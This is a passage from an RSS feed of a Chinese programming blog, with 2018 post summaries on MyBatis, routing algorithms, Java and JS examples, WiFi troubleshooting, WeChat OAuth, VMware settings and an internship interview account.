      <pubDate>Tue, 05 Jun 2018 11:42:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea201cea91c8c1244dbf7345729911e6/</guid>
      <description>在mybatis映射接口的配置中,有select,insert,update,delete等元素都提到了parameterType的用法，parameterType为输入参数，在配置的时候，配置相应的输入参数类型即可。parameterType有基本数据类型和复杂的数据类型配置。&#xA;1. MyBatis的传入参数parameterType类型分两种 1. 1. 基本数据类型：int、string、long、Date; 1. 2. 复杂数据类型：类（JavaBean、Integer等）和Map&#xA;2. 如何获取参数中的值: 2.1 基本数据类型：#{参数} 获取参数中的值 2.2 复杂数据类型：#{属性名} ，map中则是#{key}&#xA;3.案例： 3.1 传入Long型&#xA;mapper接口代码：&#xA;public User findUserById(Long id); xml代码：&#xA;&amp;lt;select id=&#34;findUserById&#34; parameterType=&#34;java.lang.Long&#34; resultType=&#34;User&#34;&amp;gt; select * from user where id = #{id}; &amp;lt;/select&amp;gt; 3.2 传入List&#xA;mapper接口代码：&#xA;public List&amp;lt;User&amp;gt; findUserListByIdList(List&amp;lt;Long&amp;gt; idList); xml代码：&#xA;&amp;lt;select id=&#34;findUserListByIdList&#34; parameterType=&#34;java.util.ArrayList&#34; resultType=&#34;User&#34;&amp;gt; select * from user user &amp;lt;where&amp;gt; user.ID in ( &amp;lt;foreach collection=&#34;list&#34; item=&#34;id&#34; index=&#34;index&#34; separator=&#34;,&#34;&amp;gt; #{id} &amp;lt;/foreach&amp;gt; ) &amp;lt;/where&amp;gt; &amp;lt;/select&amp;gt; 在使用foreach的时候最关键的也是最容易出错的就是collection属性。</description>
    </item>
    <item>
      <title>vim 打开文件刷新文件</title>
      <link>https://bchobby.github.io/posts/44d49d4df3983b4dbae2fcaf3acd0d91/</link>
      <pubDate>Mon, 04 Jun 2018 18:39:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44d49d4df3983b4dbae2fcaf3acd0d91/</guid>
      <description> 命令&#xA;:e </description>
    </item>
    <item>
      <title>Eclipse如何修改默认工作空间路径</title>
      <link>https://bchobby.github.io/posts/83ed27dea74847cdc30af043a16355aa/</link>
      <pubDate>Sun, 03 Jun 2018 23:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83ed27dea74847cdc30af043a16355aa/</guid>
      <description>第一种方法： 打勾表示在启动的时候可以选择自己默认的工作空间路径。&#xA;然后我们重启eclipse，可以看到如下&#xA;这样就可以修改默认工作空间的目录啦。&#xA;第二种方法： 首先，关闭Eclipse并打开eclipse的安装目录，依次打开以下目录，configuration\.settings&#xA;文件夹下有一个文件 org.eclipse.ui.ide.prefs， 用记事本打开，里面的内容格式如下：&#xA;修改上面红色方框内的路径即可，然后保存，重启eclipse即可。</description>
    </item>
    <item>
      <title>计算机网络——网络层学习笔记（中）：路由算法</title>
      <link>https://bchobby.github.io/posts/5fc4449233a451b28b4f83e44cc56f40/</link>
      <pubDate>Sun, 03 Jun 2018 21:36:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fc4449233a451b28b4f83e44cc56f40/</guid>
      <description>路由选择算法 1、路由算法概述&#xA;路由算法（协议）确定去往目的网络的最佳路径&#xA;转发表确定在本路由器如何转发分组。&#xA;网络抽象：图&#xA;图：G=(N,E)&#xA;N=路由器集合，E=链路集合&#xA;关键问题：源到目的的最小费用路径是什么？&#xA;路由算法：寻找最小费用路径的算法。&#xA;2、路由算法分类&#xA;分类方式一：&#xA;静态路由：手工配置、路由更新慢、优先级高&#xA;动态路由：路由更新快（定期更新、及时响应链路费用或网络拓扑变化）&#xA;分类方式二：&#xA;全局式路由选择算法：所有路由器掌握完整的网络拓扑和链路费用信息。例如链路状态算法（LS，Link State）。&#xA;分散式路由选择算法：路由器值掌握物理相连的邻居以及链路费用，邻居间信息交换、运算的迭代过程。例如距离向量算法（DV,Distance-Vector）。&#xA;3、链路状态路由算法&#xA;Dijkstra算法&#xA;所有结点（路由器）掌握网络拓扑和链路费用。&#xA;通过链路状态广播。&#xA;所有结点拥有相同信息。&#xA;计算从一个结点（源）到达所有其他结点的最短路径。&#xA;获得该结点的转发表&#xA;迭代：K次迭代后得到到达K个目的结点的最短路径。&#xA;符号：&#xA;c(x,y) 结点x到y的链路费用，不直接相连为记为无穷大&#xA;D(v) 从源到目的v的当前路径费用值&#xA;p(v) 沿从源到v的当前路径，v的前序结点&#xA;N&#39; 已经找到最小费用路径的结点集合&#xA;★算法描述：&#xA;1 Initialization: 2 N&#39; = {u} 3 for all nodes v 4 if v adjacent to u 5 then D(v) = c(u,v) 6 else D(v) = ∞ 7 8 Loop 9 find w not in N&#39; such that D(w) is a minimum 10 add w to N&#39; 11 update D(v) for all v adjacent to w and not in N&#39; : 12 D(v) = min( D(v), D(w) + c(w,v) ) 13 /* new cost to v is either old cost to v or known 14 shortest path cost to w plus cost from w to v */ 15 until all nodes in N&#39; ★算法复杂性：n个结点</description>
    </item>
    <item>
      <title>贪心算法之最大相容活动子集合问题</title>
      <link>https://bchobby.github.io/posts/2b1c7b65a014e912c2cfd3b29925bd42/</link>
      <pubDate>Sat, 02 Jun 2018 15:19:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b1c7b65a014e912c2cfd3b29925bd42/</guid>
      <description>问题：&#xA;有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。每个活动i都有一个要求使用该资源的起始时间si和一个结束时间fi,且si &amp;lt;fi 。如果选择了活动i，则它在半开时间区间[si, fi]内占用资源。若区间[si, fi]与区间[sj, fj]不相交，则称活动i与活动j是相容的。也就是说，当si≥fj或sj≥fi时，活动i与活动j相容。活动安排问题就是要在所给的活动集合中选出最大的相容活动子集合，是可以用贪心算法有效求解的很好例子。该问题要求高效地安排一系列争用某一公共资源的活动。贪心算法提供了一个简单、漂亮的方法使得尽可能多的活动能兼容地使用公共资源。有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。每个活动i都有一个要求使用该资源的起始时间si和一个结束时间fi,且si &amp;lt;fi 。如果选择了活动i，则它在半开时间区间[si, fi]内占用资源。若区间[si, fi]与区间[sj, fj]不相交，则称活动i与活动j是相容的。也就是说，当si≥fj或sj≥fi时，活动i与活动j相容。活动安排问题就是要在所给的活动集合中选出最大的相容活动子集合，是可以用贪心算法有效求解的很好例子。该问题要求高效地安排一系列争用某一公共资源的活动。贪心算法提供了一个简单、漂亮的方法使得尽可能多的活动能兼容地使用公共资源。&#xA;代码：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;time.h&amp;gt; #include&amp;lt;iomanip&amp;gt; #include&amp;lt;fstream&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; struct a{ int si;//开始时间 int fi;//结束时间 int ii;//编号 }; bool compare(a x,a y){ return x.fi&amp;lt;=y.fi; } int main(){ cout&amp;lt;&amp;lt;&#34;输入活动数：&#34;; int m; cin&amp;gt;&amp;gt;m; a action[m]; for(int i = 0; i &amp;lt; m; i++){ cout&amp;lt;&amp;lt;&#34;输入第&#34;&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&#34;活动的开始时间和结束时间&#34;; cin&amp;gt;&amp;gt;action[i].si&amp;gt;&amp;gt;action[i].fi; action[i].ii = i+1; } int num=1; int b[m]; sort(action,action+m,compare); b[num++]=action[0].ii; int k=0; for(int i=1;i&amp;lt;m;i++){ if(action[i].</description>
    </item>
    <item>
      <title>Java 线程实现秒表</title>
      <link>https://bchobby.github.io/posts/427478f696eb5a4ec5e6cc6eb734dabd/</link>
      <pubDate>Sat, 02 Jun 2018 01:04:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/427478f696eb5a4ec5e6cc6eb734dabd/</guid>
      <description>package ch2; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.*; public class Timer extends JFrame implements Runnable{ private JButton start,stop,pause; //三个按钮 private JLabel minisec,minute,second; //三个时间点 private JLabel fen,miao;//两个字 private Font font=new Font(&#34;Consolas&#34;,Font.BOLD,50);//字体 private Font font2=new Font(&#34;宋体&#34;,Font.BOLD,35); Container c; private Thread thread=null; Timer(){ init();//初始化 setVisible(true);//窗口可见 setResizable(false);//false窗口固定大小 this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//退出并关闭 } public void init() { this.setTitle(&#34;秒表&#34;);//设置标题 this.setBounds(400, 200, 500, 300);//窗口大小 c = getContentPane(); c.setLayout(null);//自定义布局 /*开始按钮*/ start=new JButton(&#34;开始&#34;); start.setBounds(new Rectangle(50,180,80,30)); c.add(start); start.addActionListener(new ActionListener() {/*添加按钮的事件*/ public void actionPerformed(ActionEvent evt) { start.</description>
    </item>
    <item>
      <title>同向放大器、反向放大器的区别</title>
      <link>https://bchobby.github.io/posts/a2e57ff4b79c65b153e0647016dff884/</link>
      <pubDate>Fri, 01 Jun 2018 14:24:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2e57ff4b79c65b153e0647016dff884/</guid>
      <description>同向：vo = vin*（1+Rf/R1）&#xA;反向：Vo= -Vin*Rf/R1&#xA;1、相位&#xA;2、放大比例，同向只能&amp;gt;1，反向可以任意0~无穷&#xA;3、输入阻抗:反向=‘-’端的输入电阻R1的大小，比较小&#xA;同向 = ‘+’端即放大器的输入阻抗，即无穷大，比较大&#xA;4、干扰：反向：放大器‘+’端接地‘-’虚地，所以输入，只存在差模信号，抗干扰性强&#xA;同向：放大器‘+’端输入，‘-’端=‘+端’电压，存在共模信号，抗干扰性差&#xA;电阻配合：小电阻，可以减小 输入偏置电流的影响和分布电容的影响&#xA;大电阻，可以减小功耗&#xA;所以取值要适中</description>
    </item>
    <item>
      <title>浙江邦盛科技-面试总结（offer）</title>
      <link>https://bchobby.github.io/posts/2e66f8708571b7d209f847f665e2e0dc/</link>
      <pubDate>Fri, 01 Jun 2018 14:11:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e66f8708571b7d209f847f665e2e0dc/</guid>
      <description>有点久了，有些题目想不起来了，简历曾经再网上投过，但是简历没过，后来是由学长内推才得到面试机会的。这还是自己简历不会包装的问题没办法。应聘是岗位是Java岗的实习生。&#xA;邦盛是一家做风控，金融，大数据的创业型公司，互联网知名度很低，今年刚刚完成C【pre-c】轮融资，说实话，不是学长在那，我都没听过，甚至不知道自己在拉钩曾经有去海投过。在第一面之前，学长说面试是挺简单的基础，毕竟实习生，但是实际基本是项目和框架。没问我基础。如果非要说基础那就是JVM了。接下来就说说吧。&#xA;在面试之前，也就是前一天，HR-A和我说，你的简历我们收到多次，这次有人推荐你，你是认识我们这什么人吗？我说了XXX，我是他的直系学弟，HR-A接着，说了公司对技术实习生有一点要求，还是需要经过技术面试的，然后问了我什么时候有空，我也想快点，所以就定在第二天11点。HR-A人很好，语气很好。因为HR太多，所以用ABC.......&#xA;大概在11点10分左右收到电话面试了，比预料的晚了10几分钟，可能HR太忙吧，也能理解，毕竟需要面试的可能很多。&#xA;这个HR-B，好像不像一个专业的HR,估计是搞技术的，第一句是说我们随便聊聊。【QAQ】&#xA;接下来就是一系列面试题了。&#xA;简历是准备的比较早的，只有一个权限系统和个人博客，【还好项目简单，少，不然更GG】&#xA;1、你用过SpringBoot，版本是多少？你知道我们公司做什么的吗？你的Shiro权限管理是怎么设计的？对于权限修改后，你是用AOP进行清空权限，具体怎么实现的？你的权限管理支持分布式权限吗？你的权限使用什么缓存？登陆密码次数限制具体怎么实现的？权限分配具体怎么实现的？Ehcache和redis有什么区别或者各有的优缺点？Ehcache缓存在哪里？redis用过哪些技术？redis集群用过吗？你的SpringBoot的多数据具体怎么配置的，说具体代码？怎么指定主副数据源,具体代码？怎么在运行时动态修改数据源，具体代码？你对JVM了解吗？说说你了解的JVM知识？你用过JDK的什么工具？性能调优，内存分析工具？具体怎么用？JVM可以配置哪些参数？Mybatis #和$有什么区别?mybatis怎么实现模糊查询,说具体代码？mysql了解吗？说说有哪些存储引擎？比较一下innodb,myisam?索引了解吗？【但是没继续问索引，我也不懂什么意思】你有什么想问我的吗？可能因为我说话快，仅仅20分钟就结束了。可见难度不大，但是都是需要说具体实现的，包装简历基本没戏，如实写比较可靠，是自己做的项目，则答起来比较容易&#xA;第二周的第1天HR-A通知我晚上8点总监面【给他命名HR-S】&#xA;我准备找个好地方，下午还复习了一下innodb,jvm,线程，这些基础，因为一面问的少嘛。&#xA;我早早的来了图书馆，终于到时间了，HR-A叫我加了HR-S。&#xA;这次是微信视频面【本来是要去杭州，报销路费，但是考虑还要请假，且高铁不便宜，最后商量了视频】&#xA;HR-S很和蔼，看得出很忙，问我你这是在哪里，我说图书馆，他说你还在学习啊，哈哈哈，我说是怕寝室吵。&#xA;基本就算闲聊了会，没任何技术性问题。&#xA;同样，1、你来公司想获得什么？你了解我们公司是做什么的吗？【还好我官网一游过】&#xA;2、HR-S说了说他们对实习生的要求，反正很快这个面试就完了。7分钟多的样子，看来HR-S是真的太忙了。好像还是边走路边谈的。QAQ&#xA;第二天，HR-A告诉我还有终面。。。。&#xA;终面HR-C，也谈到了， 你了解我们公司吗？看来这个问题很重要。&#xA;这个面试基本就算谈家庭情况了，但是出乎意料的，他还问了一些关于自学，比如遇到新技术怎么学？权限管理设计，github的题外话，很吃惊，不像是终面。不过大体上还是问的，在校的生活，平时学习，成绩，社团，家庭，什么的。这只能看临时说了。没什么好写的。&#xA;最后他告诉我，等会有人联系我【因为开始的时候我说了3 点后有课，她刚刚好把时间把握到3点，很厉害QAQ】。&#xA;第三天的下午，收到HR-D的电话，这个HR其实就是说公司福利待遇之类的，没什么好说的了。&#xA;【HR-D给我发OFFER的时候发错了到岗时间，很迷】&#xA;面试下来感觉不错，人都很客气，全程和HR-A联系，A负责通知我结果和面试时间，只有确定我有空他才会发起面试邀请邮件，感觉很好。&#xA;PS:HR-A HR-C HR-D都是小姐姐。HR-B是大哥哥 HR-S是大叔【hhhh】&#xA;总结，双非尽量找人内推，不然面试机会都没，没面试就没成长。尽量给自己保底offer,不然心态可能会成为问题。</description>
    </item>
    <item>
      <title>如何轻松搞定 笔记本搜不到WIFI信号问题</title>
      <link>https://bchobby.github.io/posts/31f815c619c18fcb5348ee56b7d15edd/</link>
      <pubDate>Fri, 01 Jun 2018 10:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31f815c619c18fcb5348ee56b7d15edd/</guid>
      <description>经常用电脑的同志肯定遇到过：一开机，发现右下角网络图标有个×号，wifi信号也搜不到；或者其他wifi信号能搜到，唯独自家的搜不到，是不是感觉很绝望啊，居然被wifi欺负到身上了，这也太憋屈了吧。&#xA;此时你要淡定，如果不是路由器发生故障或者路由器隐藏了wifi信号，一般都能搜到信号的，就算被路由器拉黑，也是有信号的。其他的不BB了，下面直接切入正题。按照下面的逻辑肯定能解决问题的，哈哈......&#xA;Situation One： 我们先说说路由器搜不到信号大概的几个原因，首先我们得先检查wifi功能是否打开了，有些本本存在wifi的物理开关，如果物理开关被关了，那搜不到信号是必然，也就别瞎功夫找逻辑配置问题了。应该到网络共享中心---更改适配器设置---WLAN，看看是不是禁用了无线网卡。&#xA;(1)右键点击网络的小图标，点击“打开网络和Internet设置” （2）点击“网络和共享中心”&#xA;（3）点击“更改适配器设置” （4）看见了“已被禁用” 这样就可以了，欢呼吧&#xA;====================================================================================================&#xA;Situation Two： 若显示没有禁用无线网卡，但是搜不到wifi信号。那我们先要去检查设备管理器，看看无线网卡驱动是否正常，一般驱动异常，会有黄色感叹号。特别注意，win10系统有个飞行模式，关闭了，也会导致wifi功能关闭。&#xA;（1）右键最左边的windows窗口，选择“设备管理器”&#xA;（2）查看无线网卡驱动是否异常&#xA;若是由驱动异常引起的搜不到wifi信号，可以通过重装无线网卡驱动解决。若不知道电脑型号，可以利用其他电脑下载一个通用版的无线网卡驱动，先让笔记本连接上网络，再在网上下载鲁大师，识别电脑型号，如果想偷懒的话，可以直接用鲁大师安装驱动，手动能力强的童鞋，可以自己到网上找适应的驱动。或者是下载个驱动精灵自动修复。&#xA;如果无线网卡和驱动都没问题，但还无法找到无线网络，就很可能是由于系统服务的原因造成的，可按如下步骤来解决。&#xA;==================================================================================&#xA;Situation Three： 打开“控制面板”窗口，单击“管理工具”选项，再双击“服务”图标。在“服务”操作右边窗格，右击“WLAN AutoCon fig”服务选项；单击“启动”命令即可。&#xA;另一种快捷打开方式： （1）打开cmd命令窗口（按住win+R） （2）输入services.msc，点击“确定”&#xA;（3）在“服务”操作右边窗格，右击“WLAN AutoConfig”服务选项；单击“启动”命令即可。&#xA;有时候，当我们连接无线时，一直提示正在连接情况，这是因为在路由器中关闭了“允许SSID广播”功能造成的。只需要重新进入路由器管理页面开启即可。还有另一种情况，就是一直显示“”正在连接“，但是却可以正常访问网络，这很可能是安装了太多的通信协议引起的。所以，应检查并保持连接属性中仅有基本的协议被安装。&#xA;对于那些在使用wifi上网时，频繁掉线的问题，如果常规方法无法解决。可以尝试对路由器的系统版本进行升级，往往可以解决一些奇怪的问题。这时由于实际上，无论何种品牌的路由器都或多或少的存在前期设计过程中留存的技术缺陷，通常来说就是Bug，这使得此类因素导致的故障非常常见。此类问题要从根本上解决就必须得升级路由器固件。&#xA;还有一些wifi问题，小编一时半会想不起来，欢迎大家在讨论区提出问题，小编看到了会及时去查找资料解决的。今天的谜题解惑就到这里，下次再见咯！！&#xA;转载于:https://www.cnblogs.com/wxxblogs/p/9120458.html</description>
    </item>
    <item>
      <title>在页面上直接拨打电话以及发送短信</title>
      <link>https://bchobby.github.io/posts/08af37c42c349fe1291a1a57f1aff97f/</link>
      <pubDate>Thu, 31 May 2018 18:32:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08af37c42c349fe1291a1a57f1aff97f/</guid>
      <description> 1. 实现网页拨打电话&#xA;&amp;lt;a href=&#34;tel:12345678901&#34;&amp;gt;网页直接拨打电话&amp;lt;/a&amp;gt; 2. 实现网页发送短信&#xA;&amp;lt;a href=&#34;sms:15112345678?body=这里是需要发送的短信的具体内容&#34;&amp;gt;网页发送短信&amp;lt;/a&amp;gt; PS: 需要注意的是，使用以上的方法，手机浏览器或者支付宝浏览器内可以直接跳转到手机的拨号页面，但是在微信的内置浏览器中是禁止了自动跳转到拨号页面的，会弹出一个提示弹窗，如果想要直接跳转，需要在URL后面添加一段域名：&#xA;#mp.weixin.qq.com URL示例：&#xA;http://www.xxx.com/index.html#mp.weixin.qq.com </description>
    </item>
    <item>
      <title>maven spark package</title>
      <link>https://bchobby.github.io/posts/b9ee21c97c59eda757891d172f000e9d/</link>
      <pubDate>Thu, 31 May 2018 11:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9ee21c97c59eda757891d172f000e9d/</guid>
      <description>&amp;lt;properties&amp;gt;&#xA;&amp;lt;scala.version&amp;gt;2.11.8&amp;lt;/scala.version&amp;gt;&#xA;&amp;lt;spark.version&amp;gt;2.3.0&amp;lt;/spark.version&amp;gt;&#xA;&amp;lt;hadoop.version&amp;gt;2.7.3&amp;lt;/hadoop.version&amp;gt;&#xA;&amp;lt;/properties&amp;gt;&#xA;&amp;lt;dependencies&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.apache.spark&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spark-core_2.11&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;${spark.version}&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.scala-lang&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;scala-library&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;${scala.version}&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;hadoop-client&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;${hadoop.version}&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;/dependencies&amp;gt;&#xA;&amp;lt;build&amp;gt;&#xA;&amp;lt;pluginManagement&amp;gt;&#xA;&amp;lt;plugins&amp;gt;&#xA;&amp;lt;!-- 编译scala的插件 --&amp;gt;&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;net.alchim31.maven&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;scala-maven-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;3.2.2&amp;lt;/version&amp;gt;&#xA;&amp;lt;/plugin&amp;gt;&#xA;&amp;lt;!-- 编译java的插件 --&amp;gt;&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt;&#xA;&amp;lt;/plugin&amp;gt;&#xA;&amp;lt;/plugins&amp;gt;&#xA;&amp;lt;/pluginManagement&amp;gt;&#xA;&amp;lt;plugins&amp;gt;&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;net.alchim31.maven&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;scala-maven-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;executions&amp;gt;&#xA;&amp;lt;execution&amp;gt;&#xA;&amp;lt;id&amp;gt;scala-compile-first&amp;lt;/id&amp;gt;&#xA;&amp;lt;phase&amp;gt;process-resources&amp;lt;/phase&amp;gt;&#xA;&amp;lt;goals&amp;gt;&#xA;&amp;lt;goal&amp;gt;add-source&amp;lt;/goal&amp;gt;&#xA;&amp;lt;goal&amp;gt;compile&amp;lt;/goal&amp;gt;&#xA;&amp;lt;/goals&amp;gt;&#xA;&amp;lt;/execution&amp;gt;&#xA;&amp;lt;execution&amp;gt;&#xA;&amp;lt;id&amp;gt;scala-test-compile&amp;lt;/id&amp;gt;&#xA;&amp;lt;phase&amp;gt;process-test-resources&amp;lt;/phase&amp;gt;&#xA;&amp;lt;goals&amp;gt;&#xA;&amp;lt;goal&amp;gt;testCompile&amp;lt;/goal&amp;gt;&#xA;&amp;lt;/goals&amp;gt;&#xA;&amp;lt;/execution&amp;gt;&#xA;&amp;lt;/executions&amp;gt;&#xA;&amp;lt;/plugin&amp;gt;&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;executions&amp;gt;</description>
    </item>
    <item>
      <title>微信二维码扫码获取openid</title>
      <link>https://bchobby.github.io/posts/a8aadb0ecefbe5e2205ffb92f8f8a1e2/</link>
      <pubDate>Thu, 31 May 2018 11:24:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8aadb0ecefbe5e2205ffb92f8f8a1e2/</guid>
      <description>扫描二维码后，通过微信网页授权机制，来获取用户基本信息，进而实现业务逻辑。&#xA;第一步 确定回调域名，即扫描二维码后你需要跳转的后台URL，例如：&#xA;http://myWechatTest.top/myProject/wechat_queueInfo.do?user=abc&amp;amp;pwd=123456&#xA;http://myWechatTest.top --&amp;gt; 我的外网域名，类似于localhost:8080 但localhost只有内网才能访问。 myProject --&amp;gt; 我的项目名&#xA;第二步 构造URL：&#xA;https://open.weixin.qq.com/connect/oauth2/authorize?appid=wx123456789&amp;amp;redirect_uri=http%3A%2F%2FmyWechatTest.top%2FmyProject%2Fwechat_queueInfo.do%3Fuser%3Dabc%26pwd%3D123456&amp;amp;response_type=code&amp;amp;scope=snsapi_userinfo&amp;amp;state=123&amp;amp;connect_redirect=1#wechat_redirect&#xA;黑色部分：是腾讯后台的Oauth2.0鉴权接口，是固定写法，appid为微信公众号的appid&#xA;红色部分：redirect_url = xxx ; xxx是第一步中的回调域名，不同的是此处进行了编码，也必须要编码，否则第一步中url 带 的参数后台接收不到。编码的方式：在浏览器的开发者模式中的console中输入：encodeURIComponent(&#39;你的URL&#39;) 回车即可。&#xA;蓝色部分：如下参数说明&#xA;参数说明&#xA;参数是否必须说明appid是公众号的唯一标识redirect_uri是授权后重定向的回调链接地址， 请使用 urlEncode 对链接进行处理response_type是返回类型，请填写codescope是应用授权作用域，snsapi_base （不弹出授权页面，直接跳转，只能获取用户openid），snsapi_userinfo （弹出授权页面，可通过openid拿到昵称、性别、所在地。并且， 即使在未关注的情况下，只要用户授权，也能获取其信息 ）state否重定向后会带上state参数，开发者可以填写a-zA-Z0-9的参数值，最多128字节#wechat_redirect是无论直接打开还是做页面302重定向时候，必须带此参数 第三步：将URL生成二维码&#xA;可以百度“草料二维码”，可以利用网站生成二维码。&#xA;第四步：后台代码获取openid 。&#xA;思路：首先获取request中的code，然后通过code调用腾讯微信接口获取用户信息，其中就包括了openid。&#xA;由于小编使用的是struts2，所有构造了一个request对象。&#xA;public String queueInfo() throws Exception{ HttpServletRequest request = (HttpServletRequest)ActionContext.getContext().get(org.apache.struts2.StrutsStatics.HTTP_REQUEST); String code = request.getParameter(&#34;code&#34;); //通过code获取openid; net.sf.json.JSONObject wxUser = CoreService.getOpenid(code); String openid = wxUser.getString(&#34;openid&#34;); } public class CoreService { public static String GETOPENID = &#34;</description>
    </item>
    <item>
      <title>react报错 Warning: React.createElement: type is invalid . ..</title>
      <link>https://bchobby.github.io/posts/cfc53513a51bbffa7324343a0c9b861e/</link>
      <pubDate>Wed, 30 May 2018 22:35:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfc53513a51bbffa7324343a0c9b861e/</guid>
      <description>报错说我可能类名定义错误或引入错误，我找了好久的原因都没有找到&#xA;因为我的输出是这样的：&#xA;const mapStateToProps = ({ createProjectModal, organization }) =&amp;gt; { // loading let current; if (organization) { current = organization.current; } return { model: createProjectModal, organization: current }; // , loading: loading.models.createProjectModal }; export default connect(mapStateToProps)(CreateProjectModal); 引入是这样的：&#xA;import CreateProjectModal from &#39;../../components/organization/createProjectModal&#39;; 所以一直都找不到我的报错出在哪里，最终我打算重写该文件了（这是修改别人的代码），才发现问题所在！！！&#xA;原因是引入antd蚂蚁金服的框架的时候 文本框的引入出错了，我是这样写的&#xA;&amp;lt;Input.textArea className=&#34;description&#34; placeholder=&#34;项目简介&#34; value={formVal.description} onChange={this.handleDescriptionChange} /&amp;gt; 其实应该是&#xA;&amp;lt;Input.TextArea /&amp;gt; 知道真相的我，#￥%…………&amp;amp;&amp;amp;……&amp;amp;%￥#</description>
    </item>
    <item>
      <title>解决某些软件无法在虚拟机中运行的方法</title>
      <link>https://bchobby.github.io/posts/d1957704392a9025d7f9a60b181d51f3/</link>
      <pubDate>Wed, 30 May 2018 22:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1957704392a9025d7f9a60b181d51f3/</guid>
      <description>在虚拟机内下载并安装微图，直接打开会被提示“Sorry, this application cannot run under a Virtual Machine”，&#xA;大概意思就是“对不起，这个应用不能在虚拟机上运行”。&#xA;这时候我们需要先关闭虚拟机（不关闭之后的修改无效），&#xA;找到在新建虚拟机时系统的安装目录（图2）（不是软件虚拟机的安装目录！），&#xA;找到目录下的类似于“Windows 10 x64.vmx”的文件（这里安装的win10，所以是这个名字）。&#xA;找到后以记事本的方式打开该文件，&#xA;在文本的末尾增加如下内容：monitor_control.restrict_backdoor = &#34;TRUE&#34;，保存。&#xA;重新打开虚拟机，运行微图，现在就能够正常打开软件了。&#xA;备注：如果还是不行，可以再打开文件“Windows 10 x64.vmx”，&#xA;打开后再最后再增加一行：disable_acceleration = &#34;TRUE&#34;。&#xA;转载于:https://www.cnblogs.com/RM-Anton/p/9113826.html</description>
    </item>
    <item>
      <title>JS实现图片轮播效果（自动和手动）</title>
      <link>https://bchobby.github.io/posts/dd6f0ad4c0c1861c289975d3770e97cc/</link>
      <pubDate>Wed, 30 May 2018 16:45:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd6f0ad4c0c1861c289975d3770e97cc/</guid>
      <description>本次轮播效果图如下：&#xA;具有以下功能：1.自动播放（鼠标进入显示区域时停止播放） 2.左右焦点切换 3.底下小按钮切换&#xA;ps:由于很多同志反馈无法总有各种奇怪的情况，所以有需要的直接下载整个工程：JS实现图片轮播效果&#xA;以下为实现代码：&#xA;首先是html代码：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;最简单的轮播效果&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;box&#34; id=&#34;box&#34;&amp;gt; &amp;lt;div class=&#34;inner&#34;&amp;gt; &amp;lt;!--轮播图--&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;&amp;lt;img src=&#34;images/1.jpg&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;#&#34;&amp;gt;&amp;lt;img src=&#34;images/2.jpg&#34; 